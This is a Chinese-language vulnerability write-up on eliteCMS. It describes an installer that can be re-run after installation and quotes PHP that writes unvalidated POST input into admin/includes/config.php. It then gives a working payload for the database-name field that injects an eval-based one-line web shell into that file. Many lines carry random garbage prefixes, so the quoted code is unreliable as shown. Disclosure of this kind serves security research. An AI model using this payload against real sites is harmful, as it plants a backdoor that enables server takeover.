eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：

...
5 W1 p* s- ^2 a2 x8 |  \elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
5 i+ Y. \8 X( c; H( F4 z; f  D    $write = "<?php\n";
& h# q( B, v* y( u1 n    $write .= "/**\n";
* c5 k8 K/ Y) ?, c4 F    $write .= "*\n";
6 \/ \& v+ D. Y5 J# ^' `" r    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
. i' g1 ]+ \. X...略...
    $write .= "*\n";
7 Z3 p% C: n" a$ e5 I' T    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
9 v, P5 `( G. b! t    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
7 `2 U0 M7 x8 v+ q$ M/ ]' }    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
1 s. b- ^7 \: I& k( b    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
, |$ ]; v# d8 D* E    $write .= "        \n";
* F) T$ u  i& c    $write .= "} \n";
) o" Q4 c' b0 U3 E2 j- f$ G  u    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
3 W/ y; A1 `% H5 j3 u& j    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
" f' h0 x& l! {9 W    $write .= "} \n";
    $write .= "?>\n";

    $writer = fopen($file, 'w');
1 Z( \5 R' E* V8 G& G...

在看代码：
5 i$ u7 |0 Y/ p
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
3 g7 J; s$ f' f0 z( Q$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
, Z8 R7 R0 F2 w, q  `
取值未作任何验证
, E$ _1 \3 L5 y' b2 z如果将数据库名POST数据：
3 g* \6 y8 B7 }5 C: t5 E4 @
"?><?php eval($_POST[c]);?><?php
* A2 ~( C9 W9 t; ~8 S: J& \* a
, j- l7 m/ w) q将导致一句话后门写入/admin/includes/config.php